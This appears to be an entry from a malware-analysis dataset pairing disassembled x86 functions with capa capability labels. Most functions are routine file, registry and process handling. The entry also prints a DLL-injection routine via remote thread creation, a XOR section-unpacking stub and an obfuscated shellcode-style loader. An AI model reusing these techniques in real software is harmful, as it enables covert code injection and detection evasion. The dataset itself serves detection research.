joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4088c0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
mov dword [ebp - 4], 0
test esi, esi
je 0x4089e5
test ebx, ebx
je 0x4089e5
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4088e3
sub eax, edx
sar eax, 1
cmp eax, 4
jb 0x4089e5
push edi
push esi
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x408924
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov edi, eax
call esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 4
push 0x3000
push 0x104
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x40895c
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x408961
sub eax, edx
push 0
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40893f
push 0x429344
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40893f
push 0x429354
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40893f
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x40893f
push 0x2710
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x4089ce
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x412027
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b0a4]
jne 0x412031
repz ret
jmp fcn.004149a9
Function at 0x41cb09
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416f13
and dword [ebp - 0x14], 0
cmp dword [0x42dca8], 0
mov dword [ebp - 0x18], eax
jne 0x41cbbc
push 0x425ed8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41cc64
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x425ecc
push ebx
call edi
test eax, eax
je 0x41cc64
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x425ebc
push ebx
mov dword [0x42dca8], eax
call edi
push eax
call esi
push 0x425ea8
push ebx
mov dword [0x42dcac], eax
call edi
push eax
call esi
push 0x425e8c
push ebx
mov dword [0x42dcb0], eax
call edi
push eax
call esi
mov dword [0x42dcb8], eax
test eax, eax
je 0x41cbbc
push 0x425e74
push ebx
call edi
push eax
call esi
mov dword [0x42dcb4], eax
mov eax, dword [0x42dcb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41cc15
cmp dword [0x42dcb8], ecx
je 0x41cc15
push eax
call esi
push dword [0x42dcb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41cc15
test ebx, ebx
je 0x41cc15
call edi
test eax, eax
je 0x41cc0c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41cc0c
test byte [ebp - 8], 1
jne 0x41cc15
or dword [ebp + 0x10], 0x200000
jmp 0x41cc48
mov eax, dword [0x42dcac]
cmp eax, dword [ebp - 0x18]
je 0x41cc48
push eax
call esi
test eax, eax
je 0x41cc48
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41cc48
mov eax, dword [0x42dcb0]
cmp eax, dword [ebp - 0x18]
je 0x41cc48
push eax
call esi
test eax, eax
je 0x41cc48
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42dca8]
call esi
test eax, eax
je 0x41cc64
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41cc66
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412027
leave
ret
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x99f3d86
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x194c0873
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x6cf5f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x6d54cc]
cmp dword [eax + 0x28], 0
jne 0x6cf608
xor eax, eax
jmp 0x6cf737
mov ecx, dword [0x6d543c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x6d5430], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0x6d542c], eax
push 0
call dword [0x6d3138]
mov dword [ebp - 0x10], eax
push 1
call dword [0x6d3138]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x6d5430]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x6d542c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0x6d54b8]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x80000000
push 0x6d3680
push 0x6d36d0
push 0x88
call dword [0x6d3134]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x6d5428], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [0x6d310c]
push eax
call fcn.006cf530
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [0x6d3148]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x6d312c]
push 0x6cf5c0
mov edx, dword [0x6d54cc]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [0x6d313c]
mov dword [0x6d5434], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [0x6d3130]
test eax, eax
je 0x6cf737
cmp dword [ebp - 0x38], 0x12
jne 0x6cf72b
mov dword [0x6d5444], 0
call fcn.006cf740
xor eax, eax
jmp 0x6cf737
lea edx, [ebp - 0x3c]
push edx
call dword [0x6d3140]
jmp 0x6cf6fc
mov esp, ebp
pop ebp
ret 4

Function at 0x6d0b00
Capabilities:
Read .ini file
Read and send data from client to server
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x6d169c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x6d3168
sub eax, eax
test esi, esi
je 0x6d1774
sub eax, 1
test ecx, ecx
je 0x6d1772
test esi, 3
je 0x6d16da
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x6d16bf
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x6d1759
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x6d16e4
mov ecx, edx
test ecx, ecx
je 0x6d1772
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x6d175f
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x6d177c
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.006d17ff
jae 0x6d178a
xor ecx, ecx
call fcn.006d17ff
jae 0x6d17b9
xor eax, eax
call fcn.006d17ff
jae 0x6d17c9
mov bl, 2
inc ecx
mov al, 0x10
call fcn.006d17ff
adc al, al
jae 0x6d17ab
jne 0x6d17f5
stosb byte es:[edi], al
jmp 0x6d178d
call fcn.006d180b
sub ecx, ebx
jne 0x6d17d2
call fcn.006d1809
jmp 0x6d17f1
lodsb al, byte [esi]
shr eax, 1
je 0x6d181b
adc ecx, ecx
jmp 0x6d17ee
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.006d1809
cmp eax, 0x7d00
jae 0x6d17ee
cmp ah, 5
jae 0x6d17ef
cmp eax, 0x7f
ja 0x6d17f0
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x6d178d
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x6d214c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d5000]
jne 0x6d2156
repz ret
jmp fcn.006d23fd
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000f197
pop dword [ebp - 0x3c]
mov eax, 0x55ed322a
add eax, 0xba13bf6d
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x389c5
push 0
mov eax, 0x63ee65df
add eax, 0xac12da85
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xc7eadcd3
add ecx, 0x3815694c
xor edi, edi
add edi, eax
mov ebx, 0x10018600
add ebx, dword [ebp - 0x3c]
mov edx, 0x61bd0581
add edx, 0xa47a16f
xor dword [ebp - 4], 0x712b1d67
mov esi, dword [ebx]
add dword [ebp - 0xc], eax
sub esi, edx
xor dword [ebp - 0x18], ecx
mov dword [edi], esi
add dword [ebp - 0x30], eax
add edi, 0x7df3bec1
sub edi, 0x7df3bebd
add ebx, 0x4e986d59
sub ebx, 0x4e986d55
loop 0x1000f1f2
add eax, 0x10b4f
xor ebx, ebx
add ebx, eax
add eax, 0xeb53033b
sub eax, 0xeb530336
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x402eae
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406514
xor ebx, ebx
cmp eax, ebx
jne 0x402f91
test byte [ebp + 0x10], 2
je 0x402f0f
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x402f76
lea eax, [ebp - 0x214]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x402f4b
test edi, edi
jne 0x402f76
push dword [ebp + 0x10]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 4]
call fcn.00402eae
test eax, eax
jne 0x402f54
lea eax, [ebp - 0x214]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x402f24
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406a9b
test eax, eax
jne 0x402f86
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x402f91
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x402f91
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40339b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4033c6
mov ecx, dword [0x434798]
push esi
add eax, ecx
push esi
push eax
mov dword [0x42aa54], eax
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.004034a3
cmp eax, esi
jl 0x40349d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.0040621a
test eax, eax
je 0x40348d
push dword [ebp + 8]
add dword [0x42aa54], 4
call fcn.004034a3
mov ebx, eax
cmp ebx, esi
jl 0x40349b
cmp dword [ebp + 0x10], esi
jne 0x403469
cmp dword [ebp + 8], esi
jle 0x40349b
mov esi, 0x41ea50
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40342b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.0040621a
test eax, eax
je 0x40348d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00406249
test eax, eax
je 0x403465
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x42aa54], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x40341a
jmp 0x40349b
push 0xfffffffffffffffe
jmp 0x40348f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403474
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403492
push 0xfffffffffffffffd
pop eax
jmp 0x40349d
mov ebx, dword [ebp - 4]
add dword [0x42aa54], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x405c8a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x42fab0], 0x44
push eax
xor eax, eax
push 0x42fab0
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405cc9
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405ccd
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x405d6b
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00406172
mov edi, eax
cmp edi, 0xffffffff
je 0x405dac
test byte [esp + 0x10], 1
push esi
je 0x405d8e
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x405d94
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x405d9d
xor eax, eax
inc eax
jmp 0x405dae
test byte [esp + 0x10], 4
jne 0x405dac
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x405db3
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.0040607e
test bl, 8
mov dword [ebp - 8], eax
je 0x405df2
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x4347c8], eax
jmp 0x405f6f
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405e0c
test eax, eax
je 0x405f1d
test bl, 2
je 0x405f1d
mov esi, 0x42eab0
push edi
push esi
call fcn.004066a7
cmp dword [ebp + 8], 0
je 0x405e2b
push str..
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x405e31
push edi
call fcn.00405fc2
cmp word [edi], 0
jne 0x405e41
cmp word [0x42eab0], 0x5c
jne 0x405e4c
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f12
cmp word [ebp - 0x22c], 0x2e
jne 0x405e96
cmp word [ebp - 0x22a], 0
je 0x405ef5
cmp word [ebp - 0x22a], 0x2e
jne 0x405e96
cmp word [ebp - 0x228], 0
je 0x405ef5
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.004066a7
test byte [ebp - 0x258], 0x10
je 0x405ec1
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405ef5
push dword [ebp + 0xc]
push edi
call fcn.00405db3
jmp 0x405ef5
push dword [ebp - 4]
push edi
call fcn.00405d6b
test eax, eax
jne 0x405eed
cmp dword [ebp - 4], eax
je 0x405ee5
push edi
push 0xfffffffffffffff1
call fcn.0040572c
push 0
push edi
call fcn.00406467
jmp 0x405ef5
inc dword [0x4347c8]
jmp 0x405ef5
push edi
push 0xfffffffffffffff2
call fcn.0040572c
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405e6e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405f1d
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405f6f
cmp dword [ebp - 8], esi
jne 0x405f31
inc dword [0x4347c8]
jmp 0x405f6f
push edi
call fcn.00406a04
test eax, eax
je 0x405f6f
push edi
call fcn.00405f76
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405d6b
test eax, eax
jne 0x405f67
cmp dword [ebp - 4], esi
je 0x405f29
push edi
push 0xfffffffffffffff1
call fcn.0040572c
push esi
push edi
call fcn.00406467
jmp 0x405f6f
push edi
push 0xffffffffffffffe5
call fcn.0040572c
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40607e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42f2b0
push esi
call fcn.004066a7
push esi
call fcn.00406021
mov edi, eax
test edi, edi
jne 0x40609f
xor eax, eax
jmp 0x4060f7
push edi
call fcn.00406955
test byte [0x434758], 0x80
je 0x4060bc
mov ax, word [edi]
test ax, ax
je 0x40609b
cmp ax, 0x5c
je 0x40609b
sub edi, esi
sar edi, 1
jmp 0x4060d6
call fcn.00406a04
test eax, eax
je 0x4060d0
test byte [eax], 0x10
je 0x40609b
push esi
call fcn.00405fc2
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x4060c2
call fcn.00405f76
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x406172
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406191
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x406197
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x4061c6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a5a8]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a5ac]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x406216
test edi, edi
jne 0x4061d3
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x406210
Function at 0x4062ed
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x430148], 0x55004e
mov dword [0x43014c], 0x4c
mov edi, 0x400
mov ebp, 0x430148
je 0x406343
push 1
push 0
push esi
call fcn.00406197
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x406462
cmp eax, edi
jg 0x406462
mov esi, 0x430948
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x406462
cmp eax, edi
jg 0x406462
push esi
push ebp
push str._ls_ls_r_n
push 0x42fd48
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x434750]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.004066e4
push 4
push 0xc0000000
push esi
call fcn.00406197
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x406462
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40645b
push edi
push esi
push ebp
call fcn.0040621a
test eax, eax
je 0x40645b
push str._Rename__r_n
push esi
call fcn.004060fc
test eax, eax
jne 0x4063f9
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40642e
add eax, 0xa
push 0x40a5b0
push eax
call fcn.004060fc
mov ebp, eax
test ebp, ebp
je 0x40642a
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x40641b
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x406415
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x406430
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x42fd48
push eax
call fcn.00406152
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00406249
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406467
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x40648a
push dword [esp + 8]
push dword [esp + 8]
call fcn.004062ed
pop ecx
pop ecx
inc dword [0x4347d0]
ret 8
Function at 0x406575
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406514
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x4065e5
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x4065e5
cmp dword [ebp + 0xc], 1
je 0x4065e9
cmp dword [ebp + 0xc], 2
je 0x4065e9
and word [esi], 0
pop esi
leave
ret 0x14